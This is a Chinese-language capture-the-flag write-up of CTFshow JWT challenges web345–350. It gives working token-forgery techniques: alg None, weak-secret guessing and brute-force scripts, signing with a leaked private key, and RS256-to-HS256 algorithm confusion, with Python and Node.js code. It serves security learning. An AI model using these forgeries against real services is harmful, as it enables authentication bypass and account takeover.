陇剑杯初赛出了JWT专题的赛题 被同队大佬ak了 一直不太懂 来刷刷
JWT浅析JWT即JSON WEB TOKEN 由三个部分组成 并用两个“.”进行连接。第一部分为header base64加密 第二部分为payload base64加密 第三部分为verify signature 它的构成如下
HEADER中alg对应的加密方式为HS256 也可以选择其他对称或非对称的加密方式 大同小异。
PAYLOAD中一般包括用户信息。
Verify Signature中包括加密的密码。
JWT本质上是一种校验值 用来验证身份和数据是否被更改。
web345查看源码得到hint
/admin/
flag应该就在这。
抓包
其中auth也就是JWT的值为
auth eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MzI2MjI1ODksImV4cCI6MTYzMjYyOTc4OSwibmJmIjoxNjMyNjIyNTg5LCJzdWIiOiJ1c2VyIiwianRpIjoiZDNlYjRlZTgyMThjMmNmZTVlMGQxMjM5MjNlNDc0M2EifV0
用.将值分开并进行base64解密 得到
{ alg : None , typ : jwt }
[{ iss : admin , iat :1632622589, exp :1632629789, nbf :1632622589, sub : user , jti : d3eb4ee8218c2cfe5e0d123923e4743a }]
将
[{ iss : admin , iat :1632622589, exp :1632629789, nbf :1632622589, sub : user , jti : d3eb4ee8218c2cfe5e0d123923e4743a }]
改为
[{ sub : admin }]
并进行base64加密 然后与
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0
进行拼接得到
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3sic3ViIjoiYWRtaW4ifV0
将auth参数的值修改并访问/admin/得到flag
web346抓包得到
auth eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjYyNjc4MiwiZXhwIjoxNjMyNjMzOTgyLCJuYmYiOjE2MzI2MjY3ODIsInN1YiI6InVzZXIiLCJqdGkiOiJiZTNmOGIyNTk5MDgxMWQzZmQ5NDAxODA0ZTgzNDI2MSJ9.ZYm_-gnvPWCZq8MSY0tB741URv13s34THxtOrcf-nE4
使用https://jwt.io/解密得到
可以看到使用了加密算法HS256 我们可以把它设置为“None” 再把sub对应的值改为admin
{ alg : None , typ : JWT }.{
iss : admin ,
iat :1632635621,
exp :1632642821,
nbf :1632635621,
sub : admin ,
jti : 0a3fac5da5f0db3addcabaf6c8babc2a
使用python的jwt进行加密
import jwt
# payload
token_dict {
iss : admin ,
iat :1632635621,
exp :1632642821,
nbf :1632635621,
sub : admin ,
jti : 0a3fac5da5f0db3addcabaf6c8babc2a
# headers
headers {
alg : None ,
typ : JWT
jwt_token jwt.encode(token_dict, key ,headers headers, algorithm none ,)
print(jwt_token)
运行得到auth的值
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjYzNTYyMSwiZXhwIjoxNjMyNjQyODIxLCJuYmYiOjE2MzI2MzU2MjEsInN1YiI6ImFkbWluIiwianRpIjoiMGEzZmFjNWRhNWYwZGIzYWRkY2FiYWY2YzhiYWJjMmEifQ
以上的方法个人实测时发现没反应 个人是猜密钥为123456来访问/admin/得到的flag2333
至于为什么是123456 群主的回答是 “靠经验啊 猜呀”。
不扯了 正经方式是用python脚本爆破
首先使用pydictor生成1-6位爆破字典
python ./pydictor.py -base d --len 1 6 -o nums1_6.txt
写python脚本爆破得到密码
import jwt import json def runblasting(path,jwt_str,alg): if alg none : alg HS256 with open(path,encoding utf-8 ) as f: for line in f: key_ line.strip() print( use key_) try: jwt.decode(jwt_str,verify True,key key_,algorithms alg) print( found key! -- key_) break except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError): print( found key! -- key_) break except(jwt.exceptions.InvalidSignatureError): continue else: print( key not found! ) if __name__ __main__ : path ./nums1_6.txt jwt_str eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjY2NzAxMywiZXhwIjoxNjMyNjc0MjEzLCJuYmYiOjE2MzI2NjcwMTMsInN1YiI6InVzZXIiLCJqdGkiOiIyNzM3NjJhOWU1NjZhMmIzNDJhYjUxN2VjNDNiOWY5YSJ9.4sf78nrf_g84F9m0Bpgbvn8fC1YkECCFZPd5U9tULYg alg HS256 runblasting(path,jwt_str,alg)
爆破结果如下
web347抓包 访问jwt.io解密 猜弱口令为”123456“
抓包访问/admin/即可
web348生成1-4位的数字和小写字母组合的字典
python ./pydictor.py -base dL --len 1 4 -o chars1_4.txt
师傅们可以自己跑一下嗷
将跑出来的密码放到jwt.io里解密加密一下 放入auth里再访问/admin/即可。
web349下载的app.js
router.get( / , function(req, res, next) {
res.type( html );
var privateKey fs.readFileSync(process.cwd() //public//private.key );
var token jwt.sign({ user: user }, privateKey, { algorithm: RS256 });
res.cookie( auth ,token);
res.end( where is flag? );
router.post( / ,function(req,res,next){
var flag flag_here ;
res.type( html );
var auth req.cookies.auth;
var cert fs.readFileSync(process.cwd() //public/public.key ); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user admin ){
res.end(flag);
}else{
res.end( you are not admin );
我们可以发现服务器目录下存在private.key和public.key 直接下载 然后将application中的auth复制到jwt.io中 将payload中的user改为admin 把私钥和公钥复制进Verify Signature即可得到我们需要的auth的值。
修改auth后 由于app.js要求post 使用post方式直接访问题目链接即可
这题也可以搭建nodejs环境 将app.js中的user改为admin 并传入题目私钥也可生成需要的auth值 不过需要安装jade、http-errors等包
具体的可以看报错
访问127.0.0.1:3000 express默认端口为3000 即可。
web350本题采用这个原理
如果将算法从RS256改为HS256 则后端代码将使用公钥作为密钥 然后使用HS256算法验证签名。
访问public.key可以获取公钥 但无法获取私钥 我们把算法改为HS256 这样就可以破解jwt了。
直接使用羽师傅的js代码生成jwt即可
const jwt require( jsonwebtoken );
var fs require( fs );
var privateKey fs.readFileSync( 350public.key );
var token jwt.sign({ user: admin }, privateKey, { algorithm: HS256 });
console.log(token)
不过需要注意 我们使用的jwt的版本要与源码中的一致
参考资料JSON Web Token (JWT) 攻击技巧
CTFSHOW jwt篇
B站BV号 BV1vU4y187HE



